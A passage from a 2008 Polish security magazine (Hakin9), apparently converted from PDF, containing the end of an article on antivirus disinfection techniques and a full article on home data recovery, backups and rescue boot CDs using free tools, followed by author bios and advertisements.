hasła metodą brute-force, ale w przypadku
długiego hasła dostarczonego w obrazku
pozostają zawodne techniki OCR.

Moduł leczący

Leczenie w programach antywirusowych
pierwotnie dopasowane było do konkretnych
wersji wirusa lub konia trojańskiego. Każdy
jednoznacznie wykrywany program mógł mieć
przypisaną procedurę leczącą. Współcześnie
odchodzi się od wykrywania sygnaturami
na rzecz uogólnionych wzorców i metod
heurystycznych. W tym przypadku leczenie
musi przebiegać w sposób uogólniony.
Program antywirusowy usuwa z systemu
wszystkie odnośniki do niebezpiecznego
obiektu, zabija jego proces, usuwa pliki.

Niestety, nie jest możliwe

przeanalizowanie każdego pliku i
przygotowanie na niego szczepionki.
Niebezpieczne oprogramowanie działa w
środowisku dynamicznym. W każdej chwili
aktualizuje się, jest zastępowane nową wersją
pobraną z Internetu lub ściąga dodatkowe
komponenty. Zdefiniowana stała procedura
lecząca nie usunie wszystkich zagrożeń.

Program antywirusowy, oprócz usunięcia

obiektów, powinien przywrócić zmiany
dokonane przez niebezpieczny program,

ale znów nie jest to możliwe. Nie można
stwierdzić, czy zmiany w systemie dokonał
niebezpieczny program, czy też administrator
systemu. Wiele robaków wyłącza domyślną
zaporę ogniową, ale robią to też użytkownicy.
Administratorzy kawiarenek internetowych
wyłączają Menadżer Zadań, ale robią
to też konie trojańskie. Niebezpieczne
oprogramowania odbiera użytkownikom
uprawnienia w systemie, ale może zrobić to
ojciec informatyk nadzorujący pracę swoich
dzieci. Czy ustawienia domyślne powinny być
przez antywirusa przywracane?

Inną kwestia jest zagadnienie sensu

leczenia. W środowiskach stawiających na
bezpieczeństwo w przypadku ataku cały
system jest czyszczony, gdyż nie ma gwarancji,
że po infiltracji zostało znalezione i usunięte
z niego wszystko, co jest niebezpieczne.
Współczesne systemy informatyczne, a
nawet same systemy operacyjne, są zbyt
skomplikowane, aby je w pełni przeanalizować.
Środowiska rządowe lub korporacyjne zdają
sobie z tego sprawę. Odmienne wymagania
mają użytkownicy domowi, którzy są
przyzwyczajeni do posiadania zainfekowanych
systemów i nie widzą w przypadku infekcji
problemu. Sytuacja ta powoli się zmienia
wraz z rozpowszechnieniem niebezpiecznego
oprogramowania powodującego szkody
finansowe wśród użytkowników.

Podsumowanie

Prawo patentowe Stanów Zjednoczonych
spowodowało, że większość z powszechnie
używanych na świecie technik antywirusowych,
nawet tych najprostszych, została
opatentowana. Po kilku procesach sądowych
firmy antywirusowe przestały omawiać
techniki, które stosują w swoich programach,
przez co trudno jest znaleźć dokładne
informacje na ich temat. Artykuł ten stanowi
przegląd popularnie używanych technik i
opisuje problemy, z jakimi stykają się twórcy
silników antywirusowych. Mam nadzieję, że
uchylił rąbka tajemnicy.

Jakub Dębski

jest starszym analitykiem w firmie ESET (producent m.in.

programów ESET NOD32 Antivirus oraz ESET Smart

Security), specjalizującej się w ochronie proaktywnej

z wykorzystaniem najbardziej zaawansowanych

mechanizmów analizy heurystycznej. Wcześniej przez

wiele lat pracował w polskich firmach antywirusowych. Był

kierownikiem projektu silnika mks_vir, następnie ArcaVir.

Studia na Wojskowej Akademii Technicznej ukończył

obroną pracy dyplomowej na temat wykorzystania sieci

neuronowych w detekcji zagrożeń internetowych.

Kontakt z autorem: debski.jakub@wp.pl

background image

48

OBRONA

HAKIN9 4/2008

O

ile przywrócenie systemu operacyjnego
i wykorzystywanych programów do
stanu używalności, wymagając co

prawda poświęcenia pewnej ilości czasu czasu
i minimalnej wiedzy w zakresie instalacji, leży
w możliwościach przeciętnego użytkownika,
o tyle stracone osobiste dane wymagają
potraktowania w specyficzny sposób.
Najważniejszą zasadą w przypadku utraty
danych jest natychmiastowe zaprzestanie
wykonywania jakichkolwiek operacji zapisu na
nośniku, z którego informacje zniknęły. Warto
również odciąć dostęp do Internetu, gdyż jeśli
skasowanie danych jest wynikiem celowego
ataku osoby z zewnątrz, blokujemy możliwość
sterowania komputerem przez hakera oraz
zapobiegamy dalszej zdalnej destrukcji systemu.

Należy pamiętać, aby po utracie danych

ze swojego komputera nie wpadać od razu w
panikę. Istnieje wiele metod i narzędzi, które
pomogą w odzyskaniu skasowanych plików. Na
rynku funkcjonuje kilka firm, które w profesjonalny
sposób zajmują się przywracaniem danych
z wszelakich nośników. Firmy te korzystają z
różnych sposobów, zarówno software’owych jak
i hardware’owych, jednak usługi ich są bardzo
drogie i skierowane raczej do dużych firm. Nie
znaczy to, że w warunkach domowych nie można
podjąć próby ratunkowej, wręcz przeciwnie
– można i bardzo często zakończyć się może ona
pełnym sukcesem. W artykule omówione zostały
różne przypadki utraty bądź uszkodzenia plików

BARTŁOMIEJ CYRNY

Z ARTYKUŁU

DOWIESZ SIĘ

jak odzyskać dane po awarii czy

ataku wirusa,

czy porysowana płyta CD nadaje

się tylko na śmietnik,

co zrobić, kiedy aparat nie widzi

wykonanych zdjęć,

czy zaginiona partycja oznacza

totalną katastrofę,

dlaczego wykonanie obrazu

partycji systemowej może

przynieść korzyści,

na ile wykonywanie kopii

zapasowych może oszczędzić

nerwów.

CO POWINIENEŚ

WIEDZIEĆ

powinieneś znać obsługę i

konfigurację systemu Windows

na poziomie co najmniej

podstawowym,

powinieneś posiadać wiedzę na

temat sposobu zapisu danych

na dyskach oraz podziału

dysków na partycje.

oraz sposoby ich programowego rozwiązania.
Wykorzystane zostały wyłącznie programy, które
można pobrać za darmo z Sieci – na licencji
freeware lub shareware.

Uszkodzenia dysków

Generalnie uszkodzenia dysków twardych
możemy podzielić na dwa typy: uszkodzenia
logiczne i fizyczne. W tym drugim przypadku
mamy do czynienia z problemami
elektronicznymi lub mechanicznymi – usterka
może dotyczyć samego nośnika fizycznego,
czyli talerzy. Uszkodzenia fizyczne najczęściej
objawiają się dziwnymi dźwiękami wydawanymi
przez dysk, charakterystycznym stukaniem
lub nie wykrywaniem dysku w BIOSie. Często
bywa również tak, że dysk nie wydaje żadnych
dźwięków – oznacza to, iż talerze się nie kręcą.
Warto zauważyć, że niektóre uszkodzenia
logiczne są podobne do fizycznych – na
przykład uszkodzenie struktury fizycznej może
powodować błędy odczytu. Przy diagnozowaniu
problemu wielce przydatny okaże się S.M.A.R.T
(Self-Monitoring, Analysis and Reporting
Technology
), czyli system monitorowania i
powiadamiania o błędach działania twardego
dysku. Aby skorzystać z dobrodziejstw tego
systemu, niezbędne jest włączenie odpowiedniej
opcji w BIOSie, a następnie skorzystanie z
odpowiedniej aplikacji. Odczyty parametrów
systemu S.M.A.R.T. są widoczne nie tylko z
poziomu specjalistycznych aplikacji, ale również z

Stopień trudności

Odzyskiwanie

danych

Utrata danych wiąże się często z dużymi stratami, nierzadko

także finansowymi. Nie ma tu większego znaczenia, czy będzie

to przemyślany atak hakera, działanie wirusa lub trojana,

przypadkowe skasowanie przez użytkownika czy awaria systemu

operacyjnego.

background image

49

ODZYSKIWANIE I ZABEZPIECZANIE DANYCH PO ATAKU HAKERSKIM

HAKIN9

4/2008

popularnych narzędzi diagnostycznych, na
przykład Everest lub Sandra.

Przykładem programu przeznaczonego

specjalnie do testowania dysków twardych
jest HD Tune 2.54 (Rysunek 1).

Przy jego pomocy można sprawdzić

dysk pod kątem występowania błędów,
przetestować jego wydajność, sprawdzić
stan parametrów S.M.A.R.T, a także
uzyskać podstawowe informacje na temat
podłączonych urządzeń.

Z racji swojej budowy, tj. zawartości

wielu ruchomych części, klasyczne twarde
dyski są urządzeniami delikatnymi, które
może uszkodzić nawet mocniejszy wstrząs.
Najczęściej spotykanym problemem jest
ujawnianie się tak zwanych bad sectorów,
czyli po prostu uszkodzonych sektorów
dysku. Uszkodzone sektory dzielą się na
logiczne – spowodowane błędną strukturą
logiczną dysku oraz fizyczne – uszkodzone
mechanicznie. Warto tu podkreślić, że
jedynym pewnym sposobem pozbycia
się uszkodzonych fizycznych sektorów jest
wymiana dysku na nowy. Można podjąć
jeszcze próbę przełożenia elektroniki z
identycznego sprawnego dysku, wymaga
to jednak fizycznej ingerencji w sam dysk, a
także sporej precyzji oraz uwagi.

Wszystkie dyski twarde mają

ograniczoną żywotność, co oznacza, że
mimo wszelkich środków ostrożności i
tak w końcu ulegną uszkodzeniu. Dzięki
stosowaniu się do paru prostych zasad
możemy jednak przedłużyć czas życia
dysku i zminimalizować możliwość utraty
danych. Wciąż najrozsądniejszym wyjściem
pozostaje jednak wykonywanie kopii
bezpieczeństwa szczególnie ważnych
plików.

Odzysk utraconych plików

Najczęstszym przypadkiem utraty danych
na dysku jest przypadkowe usunięcie
danego pliku czy katalogu ze zbiorem
większej ilości danych, niekiedy za czystkę
na dysku odpowiada niepożądane
działanie wirusa czy trojana. Należy
pamiętać, że pozornie skasowany plik
z Kosza dalej funkcjonuje w systemie,
tylko jest niewidoczny dla użytkownika.
Tabela partycji, na której znajduje się
pozornie skasowany plik, zawiera wszystkie
informacje na temat fizycznego położenia
każdego zbioru. Wszystko jest jednak
dobrze do momentu, kiedy usunięty plik nie

zostanie nadpisany innymi danymi, dlatego
ważne jest, aby po stwierdzeniu braku
ważnych plików nie dokonywać żadnych
operacji na tym dysku/partycji. Zwiększy
to prawdopodobieństwo odzyskania
utraconych plików w stanie nienaruszonym.
W tej sytuacji z pomocą przychodzą takie
programy jak FreeUndelete 2.0 (Rysunek
2) czy PC Inspector File Recovery 4.0,
które potrafią podejrzeć tabele partycji i
odzyskać z nich dane.

Pierwszy z nich ma dodatkowo tę

zaletę, że pozwala na instalację na

pendrivie, co ma duże znaczenie, jeśli w
komputerze jest tylko jedna partycja na
dysku. Instalując program do odzysku
utraconych danych na partycji, z której
dane zniknęły, mogłoby dość do sytuacji,
że instalacja nadpisałaby pliki, które miały
być odzyskane! Obsługa programów
nie jest skomplikowana i sprowadza
się do wybrania dysku, który ma zostać
przeskanowany oraz ewentualnie
do ustawienia filtracji pod kątem
poszukiwania plików określonego typu, na
przykład *.xls dla arkuszy kalkulacyjnych z

Rysunek 1.

Okno programu FreeUndelete

Rysunek 2.

Okno programu IsoBuster

background image

OBRONA

50

HAKIN9 4/2008

ODZYSKIWANIE I ZABEZPIECZANIE DANYCH PO ATAKU HAKERSKIM

51

HAKIN9

4/2008

programu Excel. Wynikiem działania obu
programów jest lista plików, które dało
się odczytać i prawdopodobnie uda się
przywrócić. Należy mieć świadomość,
że nie wszystkie pliki mogą dać się
odzyskać w pełni, może się zdarzyć tak,
że część plików została już częściowo
nadpisana – wtedy będą miały status
Poor. Te pliki, które programy są w stanie
w pełni przywrócić, otrzymają status
Good. Na koniec pozostaje tylko wskazać
dysk lub partycję, gdzie odzyskane pliki
mają zostać zapisane i poczekać, aż
program wykona powierzone mu zadanie.
Nie należy zapisywać plików na partycji,

z której odzyskuje się dane – najlepiej
wykorzystać do tego drugą partycję albo
pendrive. Proces skanowania dysku oraz
przywracania danych może trwać bardzo
długo – zależy to głównie od wielkości
dysku oraz stopnia pofragmentowania
plików. Dlatego tak istotna jest częsta
defragmentacja dysków – zwiększy to
w przyszłości szanse na ewentualne
odzyskanie utraconych danych. Jeśli
wszystko powiedzie się pomyślnie, to na
koniec program poinformuje nas o tym
stosownym komunikatem, a odzyskane
pliki zostaną zapisane we wskazanym
wcześniej miejscu.

Ratowanie płyt CD/DVD

Kiedy nośniki w postaci płyt CD (a potem
DVD) wchodziły na rynek, zapewniano,
że dane zapisane na nich przetrwają
kilkadziesiąt lat i więcej. Niestety, zalew
rynku tanimi i tym samym marnej jakości
nośnikami doprowadził do tego, że z
zapisanych płyt czasami nie da się
odczytać wielu informacji już po kilku
miesiącach! Tutaj też nie pozostajemy
bezradni, dane z porysowanych czy
z pozoru dobrych, ale nie dających
się odczytać płytek, odzyska w wielu
przypadkach program IsoBuster 2.2
(Rysunek 3).

Program występuje w dwóch wersjach,

darmowej i płatnej, jednak różnica między
nimi polega na obsłudze w wersji płatnej
dodatkowo płyt w formatach HD-DVD
oraz Blu-ray, pozostałe funkcje dostępne
są również w wersji bezpłatnej. Po
uruchomieniu programu oraz włożeniu
do napędu uszkodzonej płyty nastąpi
automatyczny odczyt zapisanych na
niej danych. Po przeanalizowaniu całej
płytki ukaże się lista plików, które można
następnie skopiować na inny napęd, na
przykład dysk twardy. Może się jednak
zdarzyć, że ten sposób nie przyniesie
oczekiwanych wyników na liście plików
do odzyskania. Wtedy pozostaje jeszcze
drugi wariant, jaki oferuje IsoBuster
– utworzenie tak zwanego obrazu płyty,
czyli pliku na dysku komputera, który
będzie wierną kopią płyty. To rozwiązanie
ma wiele zalet – nie nadwyręża się i tak
już niesprawnego nośnika poprzez częsty
odczyt, także sam proces odzyskiwania
przebiega szybciej z obrazu na dysku
twardym niż z porysowanej płytki. Po
utworzeniu obrazu ze zniszczonej płyty
można przystąpić do jego analizy i
późniejszego kopiowania odczytanych
plików na dysk. Ostatnią metodę, jaką
oferuje IsoBuster, należy wykorzystywać
wyłącznie jeśli zawiodą opisane powyżej
dwie poprzednie, ponieważ obciąża
ona znacząco zarówno dysk, jak i sam
napęd. Należy przeanalizować raz
jeszcze płytę, ale ustawiając wcześniej
w opcjach odczytu liczbę ponowień
odczytu pojedynczego i wielokrotnych
bloków danych na 6. Spowoduje to odczyt
uszkodzonych bloków do sześciu razy z
rzędu, zwiększając szansę na odzyskanie
danych. Należy pamiętać, że tak

Rysunek 3.

Okno programu PhotoRec

Rysunek 4.

Okno programu Partition Manager

background image

OBRONA

50

HAKIN9 4/2008

ODZYSKIWANIE I ZABEZPIECZANIE DANYCH PO ATAKU HAKERSKIM

51

HAKIN9

4/2008

skonfigurowana analiza płyty może trwać
bardzo długo, ale przynieść w efekcie
zamierzony efekt.

Kiedy znikną zdjęcia

W związku z popularnością oraz
malejącymi cenami aparatów cyfrowych, a
także nośników do zapisu zdjęć w postaci
cyfrowej w tychże aparatach, mało kto
robi już zdjęcia tradycyjnymi aparatami
na kliszę. Wbudowane układy flash, karty
pamięci czy miniaturowe dyski używane
jako nośniki do zapisu zdjęć i filmów w
aparatach czy kamerach są teoretycznie
trwalszym nośnikiem niż klisza czy taśma.
Zdarzyć się jednak może, że z nieznanych
nam przyczyn aparat zniszczy część zdjęć,
a niekiedy przez przypadek samemu
sformatuje się kartę pamięci. W tej sytuacji
najskuteczniejszym narzędziem okazuje się
program PhotoRec 6.9 (Rysunek 4), który
w przypadku pozornie uszkodzonych bądź
czystych nośników cyfrowych obrazów
potrafi zdziałać cuda.

Największą zaletą programu jest to,

że ignoruje w znaczącym stopniu system
plików, a swoje działania skupia na
indywidualnym kodzie nagłówka każdego
pliku. Tym sposobem PhotoRec odzyskuje
pliki nawet wtedy, kiedy system plików został
zmieniony lub nośnik – sformatowany.
Program może na początku odstraszyć
zwłaszcza osoby przyzwyczajone do
pracy wyłącznie w interfejsie graficznym,
ponieważ uruchamia się w trybie
tekstowym. Obsługa nie jest jednak
skomplikowana i nie ma konieczności
wpisywania jakichkolwiek poleceń
– wszystkie opcje wybiera się operując
kursorami. Po podłączeniu aparatu do
komputera bądź karty pamięci, na przykład
poprzez czytnik, należy w programie
wybrać na liście wszystkich rozpoznanych
nośników (włącznie z dyskami twardymi)
ten, z którego zniknęły obrazy. W kolejnym
kroku program zapyta o typ tabeli partycji,
w większości przypadków będzie to Intel.
W następnym kroku warto podać, które
formaty plików stanowią centrum naszego
zainteresowania. Jeśli wiadomo, że aparat
zapisuje zdjęcia w formacie JPG, to nie
ma sensu przeszukiwać nośnika pod
kątem innych formatów. Następnie należy
powrócić do głównego okna i wybrać opcję
Search, a program zapyta jeszcze o typ
systemu – tutaj wybieramy Other (chyba,

że nośnik został wcześniej sformatowany w
systemie Linux czy OS X). Program może
przeszukać teraz albo cały nośnik, albo
tylko pozostałą wolną przestrzeń, a wyniki
swojej pracy zapisze domyślnie w katalogu
z programem, chyba że wcześniej wskaże
się inny.

Pamięta o partycjach

To, że dysk powinien być podzielony na
partycje, wie każdy przeciętny użytkownik
komputera. Robi się tak dlatego, iż utrata

danych z jednej z partycji (o ile uszkodzenie
ma charakter logiczny) nie wiąże się
z utratą plików na innych partycjach.
Przypadek, kiedy jedna z partycji przestaje
być widoczna w systemie, jest dość rzadki
– ale co zrobić, jeśli coś takiego się nam
przydarzy? W wyniku błędu użytkownika
bądź destrukcyjnej działalności wirusa
często znikają niektóre zapisy w tablicy
alokacji plików. W tej sytuacji, na pierwszy
rzut oka beznadziejnej, nie należy od razu
rozkładać rąk. Tak z pozoru utraconą

Rysunek 5.

Okno programu Driver Backup

Rysunek 6.

Okno programu Cobian Backup

background image

partycję da się zazwyczaj przywrócić
do stanu sprzed awarii. Do tej operacji
potrzebny będzie program Partition
Manager 8.5 firmy Paragon (Rysunek 5).

Po uruchomieniu programu (jeśli

uszkodzeniu uległa partycja systemowa,
to program należy zainstalować na innym
komputerze, a dysk z niedziałającą partycją
podłączyć jako dodatkowy) należy kliknąć
przycisk Undelete Partition, który wywoła
kreatora odzysku partycji. Nie pozostaje
nic innego, jak tylko wybrać dysk, z którego

zaginęła partycja i pozwolić programowi
przeanalizować nośnik. Jeśli wiadomo, w
jakim systemie plików jest sformatowana
zaginiona partycja, to można przyspieszyć
proces wyszukiwania, wybierając w
kreatorze opcję I want to select file system
and search criteria
, a następnie All known
file systems
i wybrać dany system plików,
na przykład FAT32 czy NTFS. Wynikiem
pracy Partition Managera będzie lista
odnalezionych partycji wraz z ich lokacjami.
Wystarczy już tylko wybrać partycję do

odzyskania i potwierdzić wykonanie
zadania. Aby partycja była widoczna w
systemie, wymagane jest już tylko ponowne
uruchomienie komputera.

Obraz partycji dobra rzecz

W przypadku awarii dysku, uszkodzenia
sporej ilości plików odpowiedzialnych za
poprawne funkcjonowanie systemu czy
destrukcyjnej działalności wirusa bądź
innego szkodnika, odzyskanie danych
może okazać się niewystarczające do
dalszej poprawnej pracy komputera.
Wystarczy, że ze stu plików systemowych
jeden nie odzyska się w pełni, a system
nie uruchomi się poprawnie. Dlatego
warto przygotować się wcześniej na
sytuację, kiedy to może przyjść nam
ponownie instalować i aktualizować
system, konfigurować używane na co
dzień programy itp. Ten, kto dokonywał
takiej operacji, wie, że proces ten jest
czasochłonny i może zająć od kilku
do kilkunastu godzin. Aby uniknąć
ponownej instalacji i konfiguracji
swojego komputera, warto zrobić obraz
partycji systemowej i w razie awarii
powrócić do poprzedniego stanu.
Obraz partycji warto wykonać zaraz po
instalacji systemu, instalacji sterowników
do urządzeń, pobraniu wszystkich
aktualizacji oraz instalacji używanych
na co dzień programów. Mamy wtedy
pewność, że jest to w pełni działająca i
sprawna konfiguracja, która w przypadku
odtworzenia pozwoli po kilku minutach na
normalną pracę. Aplikacją, która posłuży
nam do wykonania obrazu partycji oraz
ewentualnego przywrócenia jej, będzie
Driver Backup 8.5 (Rysunek 6).

Program posiada ciekawą

funkcjonalność, która pozwala tworzyć
obraz partycji systemowej podczas
normalnej pracy systemu. Wykonanie
obrazu partycji wspomaga kreator,
którego uruchamiamy wybierając Back
up hard disks or selected partitions
. Aby
zmniejszyć rozmiar pliku wynikowego,
można zastosować kompresję, co
pozwoli na zaoszczędzenie od kilku
do kilkunastu procent miejsca. W celu
zabezpieczenia hasłem tworzonego
obrazu należy skorzystać z opcji
Password protection. Na koniec należy
już tylko wskazać partycję lub dysk
docelowy, gdzie ma zostać utworzony

Rysunek 7.

Okno programu Object Fix Zip

Rysunek 8.

Okno menu płyty Ultimate Boot CD

background image

obraz partycji źródłowej oraz nazwę
dla tego pliku. Cały proces powinien
zająć nie więcej niż kilkanaście minut. To
jednak jeszcze nie wszystko, co należy
przygotować na wypadek awarii systemu.
Potrzebna będzie jeszcze startowa płyta
CD, którą wykorzystamy w momencie
ewentualnego odtwarzania systemu z
wcześniej sporządzonego obrazu. Należy
włożyć czysty krążek CD do nagrywarki
i wybrać Recovery Media Builder z
menu Tools. Płytkę należy nagrać z
domyślnymi ustawieniami programu i
dobrze zabezpieczyć do momentu jej
wykorzystania. W chwili awarii systemu
należy wystartować komputer z płytki
CD (wywołując przy starcie menu z
wyborem napędu do bootowania lub
zmienić w BIOSie kolejność startowania)
i skorzystać z kreatora odzyskiwania
systemu z obrazu. Należy wskazać
ścieżkę z obrazem oraz partycję
docelową, na której nastąpi przywrócenie
systemu. Po przeprowadzeniu zadanej
operacji kreator pokaże ekran
podsumowujący i wymusi restart
komputera.

Kopia lekiem na wszystko

Jak mawia stare powiedzenie, lepiej
zapobiegać niż leczyć. Warto zatem
wykonywać kopie ważnych dokumentów,
wiadomości mailowych czy plików
konfiguracyjnych używanych programów.
W przypadku awarii dysku czy ataku
wirusa, częściej łatwiej i szybciej
jest przywrócić ważne pliki z kopii
zapasowej niż spędzać długie godziny
na odzyskiwaniu danych w nadziei, że
wszystko się powiedzie. Niestety, mało
kto pamięta o tym, aby wykonywać
kopie swoich dokumentów i innych
ważnych plików. Temat ten często
jest bagatelizowany, odradzając się
poniewczasie w momencie utraty danych.
Dlatego warto zlecić to zadanie aplikacji
Cobian Backup 8.4 (Rysunek 7), która
kopie zapasowe będzie wykonywać za
nas.

Po uruchomieniu programu należy

określić, jakie katalogi czy pliki oraz
w jakich odstępach czasu mają być
archiwizowane. Z menu Zadania należy
wybrać Nowe zadanie i przystąpić do
określenia zasad wykonywania kopii
zapasowych naszych plików. Warto

ustawić typ kopii jako przyrostowy
– program przy pierwszym uruchomieniu
wykona pełny backup, natomiast
kolejne archiwa zawierać będą tylko
nowe lub zmodyfikowane pliki, co
pozwoli oszczędzić czas poświęcony
na wykonywanie zadania. W zakładce
Pliki wskazujemy pliki i katalogi do
skopiowania oraz ścieżkę docelową, w
której zostaną zapisane. Co ciekawe,
kopie można wykonywać również
bezpośrednio na dysk sieciowy lub
katalog sieciowy poprzez protokół FTP. W
zakładce Harmonogram z dokładnością
co do sekundy można określić odstępy
czasowe wykonywania backupów.
Zakładka Archiwum daje nam zaś
możliwość poddania plików kompresji
oraz zaszyfrowania tak powstałego

archiwum i zabezpieczenia go hasłem.
W określeniu rodzajów plików, które mają
być archiwizowane (lub wręcz przeciwnie)
pomoże zakładka Specjalne. Filtrowanie
konkretnych typów plików może okazać
się bardzo przydatne, jeśli chcemy na
przykład wykonywać kopie katalogu
Moje dokumenty, ale z pominięciem na
przykład obrazów typu JPG. Na koniec
warto przeprowadzić pierwszy backup,
który w zależności od ilości wybranych
katalogów i plików może chwilę potrwać.
Kolejne, przeprowadzane co określony
czas przy opcji przyrostowej, będą
wykonywać się zdecydowanie szybciej,
gdyż program zapisze tylko nowe
pliki oraz te, które uległy zmianie. W
ten sposób oszczędzi się czas, gdyż
program nie będzie musiał archiwizować

Rysunek 9.

Okno menu płyty Emergency Boot CD

Rysunek 10.

Okno programu HD tune 2.54

background image

OBRONA

54

HAKIN9 4/2008

wszystkich plików od początku. Proces
przywrócenia danych z archiwum
jest banalnie prosty i ogranicza się
do wybrania z menu Narzędzia opcji
Dekompresja oraz wskazaniu miejsca,
gdzie zapisane jest archiwum.

Narzędzia dodatkowe

Często po procesie odzyskiwania danych
z utraconej partycji czy wykasowanych
katalogów nie wszystkie pliki dają się
poprawnie odczytać. Nie oznacza to, że
dane te są zupełnie bezużyteczne i należy
je wykasować. Istnieje wiele przeróżnych
narządzi, które pomogą naprawić
uszkodzone pliki. Często okazuje się, że
odzyskanego archiwum w postaci pliku ZIP
nie można rozpakować, wtedy z pomocą
przychodzi darmowe narzędzie Object Fix
Zip 1.6.1 (Rysunek 8).

Program naprawia niekompletne

archiwa w formacie ZIP, wstawiając
w brakujące miejsca informacje
pochodzące z nadmiarowych rekordów.
Aby naprawić dokument w formacie PDF,
warto sięgnąć po narzędzie Multivalent,
które potrafi przywrócić do życia niejeden
plik spod znaku Adobe. Jeśli okaże się,
że program Microsoft Outlook zgłasza
problem z dostępem do pliku poczty, to
warto skorzystać z aplikacji CopyPST,
która potrafi wyodrębnić poszczególne
wiadomości z uszkodzonego pliku PST.

Płyty ratunkowe

W Sieci znaleźć można również wiele
zestawów narzędzi do odzyskiwania i
naprawy plików, zarządzania dyskami
czy diagnozowania podzespołów

komputera. Tak zwane Boot CD, czyli
płyty startujące, które uruchamiają się
podczas startu komputera z pominięciem
zainstalowanego systemu, mogą okazać
się bardzo przydatne w momencie,
kiedy sam system nie chce wystartować
poprawnie. W pełni darmowym zestawem
takich narządzi jest produkt Ultimate Boot
CD 4.1.1 (Rysunek 9).

Po restarcie systemu z wygodnego

menu programu można wybrać m. in.
narzędzia diagnostyczne do dysków
twardych, czyszczące zawartość dysków,
klonujące zawartość dysków, tworzące i
zarządzające partycjami, do zarządzania
startem dysków (bootowania), do obsługi
plików, testujące pamięć, do odzyskania
systemu Linux, a także informujące o
systemie, antywirusowe oraz sieciowe.

Inną ciekawą propozycją z kategorii

Boot CD jest zestaw narzędzi o nazwie
Emergency Boot CD 0.6.1 (Rysunek 10).

Na płycie znajdują się między innymi:

Volkov Commander, Free FDisk, Floppy
disk reanimator, Smart Boot Manager
oraz narzędzie diagnostyczne AIDA16.
Autor EBCD twierdzi, że większa część
oprogramowania należy do kategorii
freeware i może być swobodnie
rozpowszechniana, jednak status innych
narzędzi jest nieznany. Dlatego warto
usunąć wszystkie te aplikacje, których
legalność budzi jakiekolwiek podejrzenia.
Największą zaletą EBCD jest to, że z płyty
można usunąć niepotrzebne aplikacje
albo dodać na płytę te programy, których
używamy najczęściej. To nic trudnego –
trzeba jedynie dokonać edycji kilku plików
XML. Wszystkie materiały niezbędne do

przygotowania obrazu krążka startowego
znajdują się w Sieci na stronie
producenta. Warto mieć zawsze pod
ręką obie płyty – ciężko wyobrazić sobie
diagnostykę niesprawnego komputera
bez zestawu tak przydatnych narzędzi.

Podsumowanie

Jak widać kwestia danych
komputerowych, ich odzyskiwania i
naprawiania nie jest rzeczą nadwyraz
trudną. Wystarczy posiadać podstawową
wiedzę z dziedziny komputerów i
zapisu plików na nośnikach danych
oraz odpowienie narzędzia w postaci
odpowiednich programów. Domowe
metody odzykiwania danych nie są może
tak skuteczne jak w specjalistycznych
labolatoriach dużych firm, ale pozwalają
w większości przypadków uratować
większość straconych plików. Dużym
atutem jest również to, że prawie
wszystkie operacje można wykonać przy
użyciu darmowych programów ogólnie
dostępnych w Internecie, renomowane
firmy skasują za usługę odzysku danych
nawet kilkanaście tysięcy złotych
(wszystko zależy od ilości danych i stopnia
uszkodzenia nośnika). Każdy wie o tym, że
lepiej zapobiegać niż leczyć ale często
o tym zapominamy. Podobnie jest z
wykonywaniem kopii zapasowych ważnych
danych czy nawet całych partycji dysku
twardego. Warto jednak wyrobić w sobie
nawyk wykonywania co pewien okres
archiwum ze zbioru swoich dokumentów,
zdjęć czy muzyki, uniknie się w przyszłości
niemiłego rozczarowania oraz oszczędzi
czas, który trzeba będzie poświęcić na
odzyskiwanie danych. Jeśli cierpimy
na zaniki pamięci można tą operację
powieżyć odpowiednim programom,
które co określony czas zrobią to za nas.
Ostatnią deską ratunku okazują się płyty
ratunkowe, zawsze warto mieć nagrane
płytki z zestawami takich narzędzi, nigdy
nie wiadomo kiedy mogą się przydać i
przywrócić do życia wysłużony komputer.

W Sieci

http://www.officerecovery.com/freeundelete – pełna wersja programu FreeUndelete 2.0,
http://www.pcinspector.de – pełna wersja programu PC Inspector File Recovery 4.0,
http://www.smart-projects.net - pełna wersja programu IsoBuster 2.2,
http://www.cgsecurity.org/wiki/PhotoRec – pełna wersja programu PhotoRec 6.9,
http://www.paragon-software.com – wersja demonstracyjna programu Partition

Manager 8.5,

http://www.paragon-software.com – wersja demonstracyjna programu Driver Backup 8.5,
http://www.educ.umu.se/~cobian/cobianbackup.htm – pełna wersja programu Cobian

Backup 8.4,

http://www.objectrescue.com/products/objectfixzip – pełna wersja programu Object

Fix Zip 1.6.1,

http://multivalent.sourceforge.net – pełna wersja programu Multivalent,
http://www.olfolders.de – pełna wersja programu CopyPST,
http://www.ultimatebootcd.com – pełna wersja obrazu ISO Ultimate Boot CD 4.1.1,
http://www.ebcd.pcministry.com – pełna wersja obrazu ISO Emergency Boot CD 0.6.1.

Bartłomiej Cyrny

Autor od wielu lat jest pasjonatem komputerów,

pracuje jako Informatyk. Ukończył kierunek Informatyka

i Ekonometria na Wydziale Zarządzania Uniwersytetu

Gdańskiego. Obecnie dokształca się na studiach

podyplomowych o kierunku Projektowanie i Zarządzanie

Sieciami Komputerowymi na wydziale Elektroniki,

Telekomunikacji i Informatyki na Politechnice Gdańskiej.

Redaktor wortalu: www.security.free.pl

Kontakt z autorem: bcyrny@gmail.com

background image

Prenumerata Pro

Media

Systems

Firma Media Systems oferuje Państwu
profesjonalny system CashBill.pl,
umożliwiający zarządzanie usługami
SMS Premium Rate w sektorze B2B
i B2C. Oferujemy również szeroki
wachlarz usług mikropłatniczych,
płatności elektronicznych oraz indywi-
dualne, dedykowane rozwiązania przy
budowie aplikacji mobilnych.

TTS Company Sp. z o.o.

Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na za-
mówienie. W ofercie programy autor-
stwa ponad dwustu firm z całego świa-
ta. Chcesz kupić oprogramowanie i nie
możesz znaleźć polskiego dostawcy?
Skontaktuj się z nami ? sprowadzimy
nawet pojedyncze licencje.

www.OprogramowanieKomputerowe.pl

CCNS

Działalność firmy skoncentrowana jest
wokół hasła zapewnienia pełnego bez-
pieczeństwa funkcjonowania Klienta
w realiach współczesnej gospodarki.
Jako Expert Partner firmy WatchGuard
Inc. oferujemy kompleksowe rozwiąza-
nia bezpieczeństwa sieci i systemów
informatycznych obejmujące nowo-
czesne urządzenia typu Unified Thre-
at Management, niezawodny serwis
i szeroki wachlarz szkoleń.

www.ccns.pl

Petrosoft

Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezentacji
multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsor-
cingowe dla dużych firm z zakresu
